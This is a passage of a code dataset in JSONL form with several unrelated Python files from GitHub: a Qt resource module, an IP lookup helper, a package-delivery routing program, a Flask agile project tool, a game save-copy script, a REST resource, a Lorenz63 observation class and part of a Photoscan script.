\x00\\x00\\x01\\x00\\x00\\x4c\\x9c\\\n\\x00\\x00\\x01\\x5e\\xdc\\x0e\\x44\\x02\\\n\\x00\\x00\\x04\\x8c\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x3c\\x79\\\n\\x00\\x00\\x01\\x5f\\xb5\\x42\\xc5\\x7f\\\n\\x00\\x00\\x00\\xae\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x05\\x21\\\n\\x00\\x00\\x01\\x60\\x02\\xe6\\x93\\x23\\\n\\x00\\x00\\x05\\x1c\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x44\\x5b\\\n\\x00\\x00\\x01\\x5d\\x50\\x55\\xb9\\x9a\\\n\\x00\\x00\\x00\\xde\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x09\\x5f\\\n\\x00\\x00\\x01\\x5f\\xb5\\x42\\xc5\\x7f\\\n\\x00\\x00\\x06\\xf4\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x65\\x9b\\\n\\x00\\x00\\x01\\x5f\\xb5\\x42\\xc5\\x7b\\\n\\x00\\x00\\x03\\x5a\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x31\\x46\\\n\\x00\\x00\\x01\\x5f\\xb5\\x42\\xc5\\x7b\\\n\\x00\\x00\\x05\\x3c\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x47\\x88\\\n\\x00\\x00\\x01\\x5f\\x00\\xff\\x84\\x15\\\n\\x00\\x00\\x02\\x3a\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x1b\\xa0\\\n\\x00\\x00\\x01\\x5f\\xb5\\x42\\xc5\\x7f\\\n\\x00\\x00\\x00\\x5a\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x02\\xff\\\n\\x00\\x00\\x01\\x5f\\xb5\\x42\\xc5\\x7b\\\n\\x00\\x00\\x01\\xda\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x15\\xe4\\\n\\x00\\x00\\x01\\x5f\\xb5\\x42\\xc5\\x7b\\\n\\x00\\x00\\x04\\xca\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x3f\\x6d\\\n\\x00\\x00\\x01\\x5f\\xb5\\x42\\xc5\\x7f\\\n\\x00\\x00\\x01\\x94\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x11\\xcd\\\n\\x00\\x00\\x01\\x5f\\xb5\\x42\\xc5\\x7b\\\n\\x00\\x00\\x01\\x74\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x10\\x56\\\n\\x00\\x00\\x01\\x5d\\x50\\x55\\xb9\\x9a\\\n\"\n\nqt_version = QtCore.qVersion().split('.')\nif qt_version < ['5', '8', '0']:\n    rcc_version = 1\n    qt_resource_struct = qt_resource_struct_v1\nelse:\n    rcc_version = 2\n    qt_resource_struct = qt_resource_struct_v2\n\ndef qInitResources():\n    QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)\n\ndef qCleanupResources():\n    QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)\n\nqInitResources()\n","repo_name":"cdl-biosimilars/mofi","sub_path":"mofi/mofi_rc.py","file_name":"mofi_rc.py","file_ext":"py","file_size_in_byte":126948,"program_lang":"python","lang":"ja","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"15911720077","text":"import requests\n\n\n# Function to fetch the ISP assigned IP address\ndef get_ip() -> str:\n    # Log the start of the function\n    print(\"Starting get_ip() function\")\n    try:\n        ip = requests.get('https://api.ipify.org').text\n    except:\n        # Log the exception\n        print(\"Exception occurred in get_ip() function\")\n        return \"No internet connection\"\n    else:\n        # Log the end of the function\n        print(\"Ending get_ip() function\")\n        return ip\n    \n\n# Test the function\nprint(get_ip())","repo_name":"Tutor-Buddha/Cybersec-101","sub_path":"my_ip.py","file_name":"my_ip.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26908372755","text":"# Ladd Gillies ID:010028835\n\nfrom distance import check_distance\nfrom distance import get_distance\nfrom distance import greedy_algorithm\nfrom distance import check_address\nfrom distance import get_truck_distance\nfrom distance import check_time\nfrom distance import get_trucks\nfrom distance import time_convert\nfrom hash import Hash\nfrom csv import reader\n\n# Space-time - O(N^2)\n\n# Read in the package file that and making a list for easy manipulation and comparison.\nwith open('WGUPS Package File.csv', encoding='utf-8-sig') as csvfile:\n    packages = reader(csvfile, delimiter=',')\n    packages = list(packages)\n\n    # Calls the Hashmap class to create an object of Hashmap\n    delivery_hash = Hash()\n\n    # Creates lists that will represent the trucks for delivery\n    first_deliveries = []\n    second_deliveries = []\n    third_deliveries = []\n\n    # Lists for my trucks that I will use to populate the distance lists with an optimized route\n    truck_one = []\n    truck_two = []\n    truck_three = []\n\n    # These lists are used for optimizing and getting the distance between routes.\n    truck_one_distance = []\n    truck_two_distance = []\n    truck_three_distance = []\n\n    # the times below represent the times that each truck leaves the hub\n    # Each package will have a time they leave the hub attached\n    first_time = '8:00:00'\n    second_time = '9:05:00'\n    third_time = '11:00:00'\n\n    # Read in values from CSV file and insert them into key / item pairs\n    # these values are what makes up the nested dictionary inside the Hash table\n    # Space-time - O(N)\n    for row in packages:\n        package_ID = row[0]\n        address = row[1]\n        city = row[2]\n        state = row[3]\n        zip_code = row[4]\n        deadline = row[5]\n        mass = row[6]\n        note = row[7]\n        exodus = ''\n        location = ''\n        status = 'At hub'\n        arrival = '00:00:00'\n        key = package_ID\n        item = [package_ID, location, address, city, state, zip_code, deadline, mass, note, exodus, status, arrival]\n\n        # Sorting the packages on to the trucks. Based on the notes provided in the file,\n        # each package is placed on to a truck.\n        # some changes are made to  the read in data, as to make it easier for manipulation.\n        # I would like to find a way of automating this process a bit more and not have it so restricted to this\n        # particular file\n        # inserts every package into a hashmap with a key and item pair\n        if item[6] != 'EOD':\n            if 'Must' in item[8] or '' in item[8]:\n                first_deliveries.append(item)\n        if item[6] == '10:30 AM':\n            item[6] = '10:30:00'\n        if item[6] == '9:00 AM':\n            item[6] = '9:00:00'\n        if item[0] == '19' or item[0] == '14':\n            first_deliveries.append(item)\n        if 'Can only be' in item[8]:\n            second_deliveries.append(item)\n        if 'Delayed' in item[8]:\n            second_deliveries.append(item)\n        if '84104' in item[5] and '10:30' not in item[6]:\n            third_deliveries.append(item)\n        if 'Wrong address listed' in item[8]:\n            item[2] = '410 S State St'\n            item[5] = '84111'\n            third_deliveries.append(item)\n        if item not in first_deliveries and item not in second_deliveries and item not in third_deliveries:\n            if len(second_deliveries) > len(third_deliveries):\n                third_deliveries.append(item)\n            else:\n                second_deliveries.append(item)\n        delivery_hash.insert(key, item)\n\n    # Getter for the hashmap that was created by the read in csv file\n    # Space-time - O(1)\n    def get_hash():\n        return delivery_hash\n\n    # Getter for all the trucks deliveries lists\n    # Space-time - O(1)\n    def get_deliveries(num):\n        if num == 1:\n            return first_deliveries\n        if num == 2:\n            return second_deliveries\n        if num == 3:\n            return third_deliveries\n\n    # Getter for all trucks lists\n    # Space-time - O(1)\n    def fetch_trucks(num):\n        if num == 1:\n            return truck_one\n        if num == 2:\n            return truck_two\n        if num == 3:\n            return truck_three\n\n    # Getter for all truck distance lists\n    # Space-time O(1)\n    def get_distances(num):\n        if num == 1:\n            return truck_one_distance\n        if num == 2:\n            return truck_two_distance\n        if num == 3:\n            return truck_three_distance\n\n    # Getter for each truck departure time\n    # Space-time O(1)\n    def get_exodus(num):\n        if num == 1:\n            return first_time\n        if num == 2:\n            return second_time\n        if num == 3:\n            return third_time\n\n\n# Method for adding the time that the package will leave the hub to each package. Sorted by which truck they are on\n# Space-time O(N)\ndef exodus_time(num):\n    e = 0\n    for values in get_deliveries(num):\n        get_deliveries(num)[e][9] = get_exodus(num)\n        fetch_trucks(num).append(get_deliveries(num)[e])\n        e += 1\n\n\n# Calls for each truck to pass their packages through the time method, adds a time to the package to be used to compare\n# against the users time to see where the package is.\nexodus_time(1)\nexodus_time(2)\nexodus_time(3)\n\n\n# Method for getting the locations for every package so easy searching of the distance table\n# Adds the distances to a list to pass through the greedy algorithm for sorting for the shortest distance\n# Space-time O(N^2)\ndef get_location(num):\n    try:\n        count = 0\n        for a in fetch_trucks(num):\n            for b in check_address():\n                if a[2] == b[2]:\n                    get_distances(num).append(b[0])\n                    fetch_trucks(num)[count][1] = b[0]\n                    break\n            count += 1\n    except IndexError:\n        pass\n\n\n# Calls for each truck to get the locations for all their packages\nget_location(1)\nget_location(2)\nget_location(3)\n\n\n# Method for calculating and checking the distance for each package to each location. returns the total\n# distance for each truck. Prints out the last delivery of each truck and returns the total miles each truck drove\n# Space-time O(N)\ndef distance_time(num):\n    count = 0\n    baron = 0\n    for countess in range(len(get_truck_distance(num))):\n        try:\n            count = check_distance(int(get_truck_distance(num)[countess]), int(get_truck_distance(num)[countess + 1]), count)\n            delivery = check_time(num, get_distance(int(get_truck_distance(num)[countess]), int(get_truck_distance(num)[countess + 1])))\n            get_trucks(num)[baron][11] = str(delivery)\n            last_delivery = delivery\n            get_hash().update(int(get_trucks(num)[baron][0]), fetch_trucks(num))\n            baron += 1\n        except IndexError:\n            pass\n    print('Truck ', num, ' last delivery was at ', last_delivery)\n    return count\n\n\n# Calls for each truck to the greedy algorithm for package sorting\n# Space-time - O(N^2)\ngreedy_algorithm(truck_one, 1, 0)\ngreedy_algorithm(truck_two, 2, 0)\ngreedy_algorithm(truck_three, 3, 0)\n\n# Calls to the distance calculator for each truck\ndistance_truck_one = distance_time(1)\ndistance_truck_two = distance_time(2)\ndistance_truck_three = distance_time(3)\n\n\n# Method for printing all the packages at a given time by the user\n# Space-time O(N)\ndef print_packages(time):\n    time = time_convert(time)\n    for count in range(1, 41):\n        departure = time_convert(get_hash().get(str(count))[9])\n        arrivals = time_convert(get_hash().get(str(count))[11])\n        print('Package ID: ' + get_hash().get(str(count))[0])\n        print('Mass: ' + get_hash().get(str(count))[7])\n        print('Destination: ' + get_hash().get(str(count))[2], ',' + get_hash().get(str(count))[3], ','\n              + get_hash().get(str(count))[4], ',' + get_hash().get(str(count))[5])\n        print('Deadline: ' + get_hash().get(str(count))[6])\n        if time <= departure:\n            print('Package at the hub.')\n            print('Estimated delivery ' + str(arrivals), '\\n')\n        elif time >= departure and time >= arrivals:\n            print('Delivered at: ' + str(arrivals), '\\n')\n        elif departure <= time < arrivals:\n            print('Package en route to destination.')\n            print('Estimated delivery ' + str(arrivals), '\\n')\n\n\n# Method for printing out a specific package at a given time\n# Space-time O(1)\ndef locate_package(id_number, time):\n    time = time_convert(time)\n    exodus_time = time_convert(get_hash().get(str(id_number))[9])\n    arrival_time = time_convert(get_hash().get(str(id_number))[11])\n    print('ID: ' + get_hash().get(str(id_number))[0])\n    print('Mass: ' + get_hash().get(str(id_number))[7])\n    print('Destination: ' + get_hash().get(str(id_number))[2], ',' + get_hash().get(str(id_number))[3], ','\n          + get_hash().get(str(id_number))[4], ',' + get_hash().get(str(id_number))[5])\n    print('Deadline: ' + get_hash().get(str(id_number))[6])\n    if time <= exodus_time:\n        print('At Hub, leaves at ' + str(exodus_time))\n        print('Estimated delivery ' + str(arrival_time), '\\n')\n    elif time >= exodus_time:\n        print('Left the Hub at ' + str(exodus_time), '\\n')\n        if time <= arrival_time:\n            print('En route')\n            print('Estimated delivery ' + str(arrival_time), '\\n')\n        if time >= arrival_time:\n            print('Delivered at ' + str(arrival_time), '\\n')\n\n\n# Method for printing the distances of each truck and the total distance driven by the WGUPS\n# Space-time O(1)\ndef total_distance():\n    total_distances = distance_truck_one + distance_truck_two + distance_truck_three\n    print('Truck one drove ', \"{0:.2f}\".format(distance_truck_one), 'miles')\n    print('Truck two drove ', \"{0:.2f}\".format(distance_truck_two), 'miles')\n    print('Truck three drove ', \"{0:.2f}\".format(distance_truck_three), 'miles')\n    print('For a total of : '\"{0:.2f}\".format(total_distances), 'miles')\n","repo_name":"Kvlothe/Package_Sorting","sub_path":"package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":9986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43588196575","text":"from flask import render_template, flash, redirect, url_for, request,session\nfrom app import app\nfrom app.forms import LoginForm, RegistrationForm, ProjectForm,TaskForm,SandBox,ConvertToBackLog\nimport json, sys\n\n\n#TODO Merge with Microsoft Project\n#TODO merge github\n#TODO implement modals\n#TODO work on cleaning up interface\n#TODO add some features if we can\n#TODO Implement database features with applet security\n\n\ncurrent_user=\"\"\n# dataString='/Users/lzhou/Documents/group7/app/data/'\ndataString='C:/Users/benma/Desktop/cs442/code/v2/group7/app/data/'\n#dataString='C:/Users/swald/group7/app/data/'\n# dataString='C:/Users/Tian/Documents/UIC/CS/CS442/Repository/group7/app/data/'\n@app.route('/', methods=['GET', 'POST'])\ndef home():\n    form = LoginForm()\n    if request.method == 'POST':\n        current_user=request.form[\"username\"]\n        return redirect(url_for('projectList'),current_user=current_user)\n    else:\n        return render_template(\"index.html\",title=\"FireScrum\",form=form,current_user=\"\")\n\n\n@app.route('/signUp', methods=['GET', 'POST'])\ndef signUpPage():\n    form = RegistrationForm()\n    if request.method == 'POST':\n        nameF = request.form[\"nameF\"]\n        nameL = request.form[\"nameL\"]\n        email = request.form[\"email\"]\n        uname = request.form[\"username\"]\n        pword = request.form[\"password\"]\n\n        account = {\"username\":uname,\"fname\":nameF,\"lname\":nameL,\"email\":email,\"password\":pword}\n\n        with open(dataString+\"account.json\",'r') as file:\n            accounts = json.loads(file.read())\n\n        accounts.append(account)\n\n        with open(dataString+\"account.json\",'w') as fileout:\n            fileout.write(json.dumps(accounts, indent=2))\n\n        return redirect(url_for('home'))\n\n    return render_template(\"signUp.html\",form=form)\n\n\ndef credentialCheck(username, password):\n    with open(dataString+\"account.json\", 'r') as file:\n        accounts = json.loads(file.read())\n\n    #print(accounts)\n\n\n    for user in accounts:\n        if user[\"username\"] == username and user[\"password\"] == password:\n            return user\n\n    return None\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    form = LoginForm()\n    if request.method == 'POST':\n        current_user = request.form[\"username\"]\n        current_pass = request.form[\"password\"]\n\n        user = credentialCheck(current_user, current_pass)\n        if user:\n\n            #print(user)\n            return redirect(url_for('projectList', current_user= current_user))\n        else:\n            #print(\"invalid user\")\n\n            return render_template(\"index.html\",title=\"FireScrum\",form=form,current_user=\"\")\n\n        #if current_user.is_authenticated():\n        #    g.user = current_user.username\n        #return redirect(url_for('projectList', current_user= current_user))\n    else:\n        return render_template('signIn.html', title='Sign In', form=form,current_user=current_user)\n\n@app.route('/about')\ndef about():\n    return render_template(\"aboutfirescrum.html\")\n\n@app.route('/<current_user>/<projectName>/accountSettings', methods=['GET', 'POST'])\ndef modifyAccount(current_user,projectName):\n    if request.method == 'POST':\n        description=request.form[\"taskGoal\"]\n        #form\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n    #print(proj)\n    return render_template(\"accountSettings.html\", current_user=current_user,proj=proj)\n\n@app.route('/<current_user>/<projectName>/CurrentSprint')\ndef projectCurrentSprint(current_user, projectName):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n    #print(proj)\n    return render_template(\"currentSprint.html\", current_user=current_user,proj=proj)\n\n@app.route('/<current_user>/<projectName>/<Issue_Name>/CreateTask', methods=['GET', 'POST'])\ndef projectcreateTask(current_user, projectName, Issue_Name):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n    #print(proj)\n    if request.method == 'POST':\n        Issue_Name3 = request.form['taskName']\n        Description = request.form['taskGoal']\n        time= request.form['storyPoint']\n        assignedTo = request.form['assignedTo']\n        newTask={'Issue_Name':Issue_Name3,'time':time,'Description':Description,'assignedTo':assignedTo}\n        todList=proj['currentSprint']['TODO']\n        for idea in todList:\n            if idea['Issue_Name'] == Issue_Name:\n                idea['Tasks']['TODO'].append(newTask)\n                with open(fileP,'w') as fileout:\n                    fileout.write(json.dumps(proj, indent=2))\n                return redirect(url_for('projectCurrentSprint', current_user=current_user, projectName= proj['name'] ))\n        todList=proj['currentSprint']['In_Progress']\n        for idea in todList:\n            if idea['Issue_Name'] == Issue_Name:\n                idea['Tasks']['TODO'].append(newTask)\n                with open(fileP,'w') as fileout:\n                    fileout.write(json.dumps(proj, indent=2))\n                return redirect(url_for('projectCurrentSprint', current_user=current_user, projectName= proj['name'] ))\n    form=TaskForm()\n    return render_template(\"CreateTask.html\", current_user=current_user,proj=proj,Issue_Name2=Issue_Name,form=form)\n\n@app.route('/<current_user>/<projectName>/Sprints')\ndef projectSprints(current_user, projectName):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n    #print(proj)\n    return render_template(\"sprints.html\", current_user=current_user,proj=proj)\n\n@app.route('/<current_user>/<projectName>/Discussion')\ndef talkBox(current_user, projectName):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    proj = json.loads(filein.read())\n    #print(proj)\n    #print(\"\\n\\nDiscussion\\n\\n\")\n    discussion = proj[\"Discussion\"]\n    return render_template(\"discussionBoard.html\", current_user=current_user,proj=proj)\n\n@app.route('/<current_user>/projects')\ndef projectList(current_user):\n    filein = open((dataString+'projects.json'), 'r')\n    #print (filein.read(), file=sys.stdout)\n    filein.seek(0,0)\n    projList = json.loads(filein.read())\n    return render_template(\"projects.html\",projectList=projList, current_user=current_user)\n\n@app.route('/<current_user>/<projectName>')\ndef projectSplash(current_user, projectName):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n    #print(proj)\n    return render_template(\"projectDash.html\", current_user=current_user,proj=proj)\n\n@app.route('/<current_user>/<projectName>/BackLog')\ndef projectBackLog(current_user, projectName):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n    #print(proj)\n    return render_template(\"backlog.html\", current_user=current_user,proj=proj)\n\n@app.route('/<current_user>/<projectName>/burnupchart')\ndef projectBurnupChart(current_user, projectName):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n    #print(proj)\n    return render_template(\"burnupchart.html\", current_user=current_user,proj=proj)\n\n@app.route('/<current_user>/<projectName>/issues')\ndef projectIssues(current_user, projectName):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n    #print(proj)\n    return render_template(\"issues.html\", current_user=current_user,proj=proj)\n\n@app.route('/<current_user>/<projectName>/<Issue_Name>/Active', methods=['GET', 'POST'])\ndef projectTOCurrentSprint(current_user, projectName, Issue_Name):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n    #print(proj)\n    #print(proj['currentSprint'])\n    todList=proj['currentSprint'][\"TODO\"]\n    #print(todList)\n    for idea in proj['BackLog']:\n        if idea['Issue_Name'] == Issue_Name:\n            copy=idea # get item based on Issue_Name\n            #print(copy)\n            todList.append(copy) # copy it to BackLog\n            proj['currentSprint'][\"TODO\"]=todList\n            proj['BackLog'].remove(copy)  #remove from SandBox\n            with open(fileP,'w') as fileout:\n                fileout.write(json.dumps(proj, indent=2))\n    return redirect(url_for('projectCurrentSprint', current_user=current_user, projectName= proj['name'] ))\n\n@app.route('/<current_user>/<projectName>/SandBox', methods=['GET', 'POST'])\ndef projectSandBox(current_user, projectName):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n    #print(proj)\n    if request.method == 'POST':\n        Issue_Name=request.form[\"Issue_Name\"]\n        time=request.form[\"time\"]\n        Description=request.form[\"Description\"]\n        item={\"Issue_Name\":Issue_Name,\"time\":time,\"Description\":Description,  \"Tasks\": {\n    \"TODO\": [],\n    \"In_Progress\": [],\n    \"Done\": []\n  } }\n        proj[\"SandBox\"].append(item)\n        with open(fileP,'w') as fileout:\n            fileout.write(json.dumps(proj, indent=2))\n    form=SandBox()\n    form2=ConvertToBackLog()\n    return render_template(\"SandBox.html\", current_user=current_user,proj=proj, form=form,form2=form2)\n\n\n# This Function moves item from sandbox to BackLog\n#We will use this as a template for moving item from backlog to Current sprint\n#Data:\n#current_user: name of user\n#projectName: Name of Project being done\n#Issue_Name: id and name of idea being moved\n#Issue_Name: id and name of idea being moved\n@app.route('/<current_user>/<projectName>/<Issue_Name>', methods=['GET', 'POST'])\ndef SandBoxTOBackLog(current_user, projectName, Issue_Name):\n    fileP = dataString+projectName+'.json'\n    filein = open(fileP, 'r')\n    #print(fileP)\n    #print(filein)\n    proj = json.loads(filein.read())\n\n    todList = proj['SandBox']\n    for idea in todList:\n        print(idea['Issue_Name'], file=sys.stdout)\n        if idea['Issue_Name'] == Issue_Name:\n            copy=idea # get item based on Issue_Name\n            print(idea)\n            proj['BackLog'].append(idea) # copy it to BackLog\n            print(proj[\"BackLog\"], file=sys.stdout)\n            proj['SandBox'].remove(idea)  #remove from SandBox\n            print(proj[\"SandBox\"], file=sys.stdout)\n            with open(fileP,'w') as fileout:\n                fileout.write(json.dumps(proj, indent=2))\n    return redirect(url_for('projectBackLog', current_user=current_user, projectName= proj['name'] ))\n\n@app.route('/<current_user>/createProject', methods=['GET', 'POST'])\ndef createProj(current_user):\n    form = ProjectForm()\n    if request.method == 'POST':\n        filein = open(dataString+'projects.json', 'r')\n        projList = json.loads(filein.read())\n        filein.close()\n        #print(projList, file=sys.stdout)\n\n        projectName=request.form[\"titleOfProject\"]\n        description=request.form[\"description\"]\n\n        #print(projectName)\n        #print(description)\n        newProj={\"name\":projectName,\"description\":description}\n        projList.append(newProj)\n        #print(projList)\n\n        with open(dataString+'projects.json','w') as fileout:\n            fileout.write(json.dumps(projList, indent=2))\n\n\n        projectJson = {\"name\":projectName,\"SandBox\":list(),\"BackLog\":list(),\"sprints\":list(),\"currentSprint\":dict(),\"Discussion\":list()}\n\n        with open(dataString+projectName+\".json\",'w') as jsonfile:\n            jsonfile.write(json.dumps(projectJson, indent=2))\n\n        return redirect(url_for('projectList', current_user= current_user))\n    return render_template(\"createProject.html\",form=form)\n\n@app.route('/DBTEST')\ndef dbTest():\n    filein = open('C:/Users/swald/group7/app/data/projects.json', 'r')\n    #print (filein.read(), file=sys.stdout)\n    filein.seek(0,0)\n    projList = json.loads(filein.read())\n    # #print(projList)\n    # db.session.add(p)\n    # db.session.commit()\n    # ListOProjects = Projects.query.all()\n    # for p in ListOProjects:\n    #     #print(p.name, p.ProjectID)\n    # projList = ListOProjects\n    return render_template(\"projects.html\",projectList=projList, current_user=current_user)\n\n@app.route('/logOut')\ndef logOut():\n    current_user=\"\"\n    return  redirect(url_for('home'))\n\n@app.errorhandler(404)\ndef not_found(error):\n    return render_template('error.html'), 404\n\n@app.errorhandler(500)\ndef not_found(error):\n    return render_template('error.html'), 500\n","repo_name":"Benbigmac/Agile-Development-Tool","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":12869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70634353791","text":"'By Porodo 20 / 4 / 18'\n\nimport os\nimport sys\nimport shutil\n\nplayersave = (os.getcwd() + \"\\\\Backups\\\\Player\\\\STSPlayer\")\nplayergame = (os.getcwd() + \"\\\\preferences\\\\STSPlayer\")\n\ndef espacio(x):\n    for _ in range(x):\n        print()\n\ndef copy(origen, destino):\n    print(\"Copiando . . .\")\n    shutil.copy2(origen, destino)\n    print(origen, \"Copiado exitosamente A: \", destino)\n    espacio(1)\n\ndef move(origen, destino):\n    print(\"Moviendo . . .\")\n    shutil.move(origen, destino)\n    print(origen, \"Movido exitosamente A: \", destino)\n    espacio(1)\n\ndef main():\n\n    print(\"Bienvenido al bonus de Slay the spire! (No deberias ver esto)\")\n\n    try:\n        print(\"Importando bonus desde {}\".format(playersave))\n        copy (playersave,playergame)\n\n    except:\n        print(\"Error\")\n        os.system(\"pause\")\n\nmain()\n","repo_name":"Gacrucis/Proxima","sub_path":"PY/BTerm/STBonus.py","file_name":"STBonus.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27809388323","text":"from flask_restful import Resource,reqparse\nfrom App.Tables.Voo import Voo as table_voo\nimport App.config as config\nfrom App.Tables import dal\n\n\nclass Voo(Resource):\n    configuration = config.Configuration()\n    conection = dal.SqlLiteConection(configuration)\n    parser = reqparse.RequestParser()\n    table_voo().add_args(parser)\n\n\n    #obter registo\n    def get(self,id):\n        Voo.conection.open_conection()\n        voo = table_voo()\n        voo.get_by_pk_id(id,Voo.conection)\n        return voo.get_json()\n\n    #inserir registo\n    def post(self):\n        data = Voo.parser.parse_args()\n        voo = table_voo()\n        voo.read_from_args(data)\n        Voo.conection.open_conection()\n        voo.update(Voo.conection)\n        Voo.conection.commit()\n        return {'message': 'Record created successfully.'}, 201\n","repo_name":"tomasvicente20002/Api","sub_path":"App/Controllers/Voo.py","file_name":"Voo.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"43420496666","text":"# load python modules\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass observation:\n    \"\"\" Observation of dynamical model \"\"\"\n\n    def __init__(self, dt, tmax, xobs=True, yobs=True, zobs=True):\n        self.dt = dt \n        self.tmax = tmax\n        \n        # Determine dimension of observation\n        self.Ny = 0 \n        if xobs == True:\n            self.Ny += 1\n        if yobs == True:\n            self.Ny += 1\n        if zobs == True:\n            self.Ny += 1\n        assert(self.Ny>0), \"no observed variables\"\n        \n        # Set up derived observation related arrays\n        self.num = int(self.tmax/self.dt)\n        self.obs = np.zeros((self.Ny,self.num))\n        \n        self.times = np.arange(self.dt, self.tmax+self.dt, self.dt) # observation starts at t>0\n        self.model_idx = np.zeros(self.num)\n\n        # Construct observation matrix\n        self.H = np.zeros((self.Ny,3))\n        x_already_observed = False\n        y_already_observed = False\n        z_already_observed = False\n        for i in range(self.Ny):\n            if xobs == True and x_already_observed == False:\n                self.H[i,0] = 1\n                x_already_observed = True\n                continue\n            if yobs == True and y_already_observed == False:\n                self.H[i,1] = 1\n                y_already_observed = True\n                continue\n            if zobs == True and z_already_observed == False:\n                self.H[i,2] = 1\n                z_already_observed = True\n                continue\n        \n        # Construct observation noise covariance matrix\n        self.noise_level = 1.0\n        self.R = self.noise_level * np.eye(self.Ny)\n\n        \n    def noise(self):\n        \"\"\" Returning realisation of observation error N(0,R) \"\"\"\n        return np.random.normal(0,self.noise_level,self.Ny)\n        \n    def observe(self, model):\n        \"\"\" observes model at observation times \"\"\"\n        self.model = model\n        for i in range(self.num):\n            self.model_idx[i] = int(self.times[i]/model.dt)\n            self.obs[:,i] = np.dot(self.H, model.res[:,int(self.model_idx[i])])  + self.noise()\n            \n    def getObservation(self):\n        \"\"\" Returns observations \"\"\"\n        return self.obs\n            \n    def plot(self, fig = None, axs = None):\n        \"\"\" Plotting \"\"\"\n        if fig is None:\n            fig, axs = plt.subplots(3, sharex=True)\n            show = True\n        else:\n            show = False\n\n        i_matrix = 0\n        for i in range(3):\n            if np.sum(self.H[:,i])>0:\n                x = self.obs[i_matrix,:]\n                axs[i].plot( (np.arange(len(x))+1)*self.dt, x, \"x\", color=\"green\" ) # observation does NOT start at t=0\n                i_matrix += 1 \n        \n        if show == True:\n            plt.setp(axs, xlim=(0,self.model.tmax))\n            plt.show()\n            ","repo_name":"FlorianBeiser/Lorenz63","sub_path":"observation.py","file_name":"observation.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"73107747711","text":"import shutil,fnmatch,glob,os,json\nimport subprocess,time\ntry:\n    import PhotoScan\n    from psutils import get_project_filename\nexcept ImportError:\n    pass\n\n\n\ndef check_user_script():\n    \"\"\"\n    Copy mosaic script to user folder, to run it automaticly with 1.0 Photoscan\n    Create txt file with path to project\n    --------------\n    return path to txt file with project\n    \"\"\"\n    scripfolder = os.path.join(os.path.join(os.environ['USERPROFILE'],'AppData\\Local\\Agisoft\\PhotoScan Pro\\scripts'))\n    scriptpath = os.path.join(scripfolder,'mosaic_reexport.py')\n    if os.path.exists(scriptpath):\n        try:\n            os.remove(scriptpath)\n        except:\n            pass\n    if not os.path.exists(scriptpath):\n        scr = os.path.join(os.getcwd(),'python','Scripts','mosaic_reexport.py')\n        shutil.copy(scr,scripfolder)\n    txtpath = os.path.join(scripfolder,'ProjectPath.txt')\n    return txtpath\n        \n\n\n\ndef delete_old_projects(folder):\n    \"\"\"\n    delete files that were created more than 6 hours ago\n    ---------------------\n    parameters \n    folder - str path to folder which need to clear\n    \"\"\"\n    nowTime = time.time()\n    ageTime = nowTime - 60*60*5 # hours to delete old files\n    for path,dirs,files in os.walk(folder):\n        for file in files:\n            fileName = os.path.join(path,file)\n            fileTime = os.path.getmtime(fileName)\n            if fileTime < ageTime:\n                print 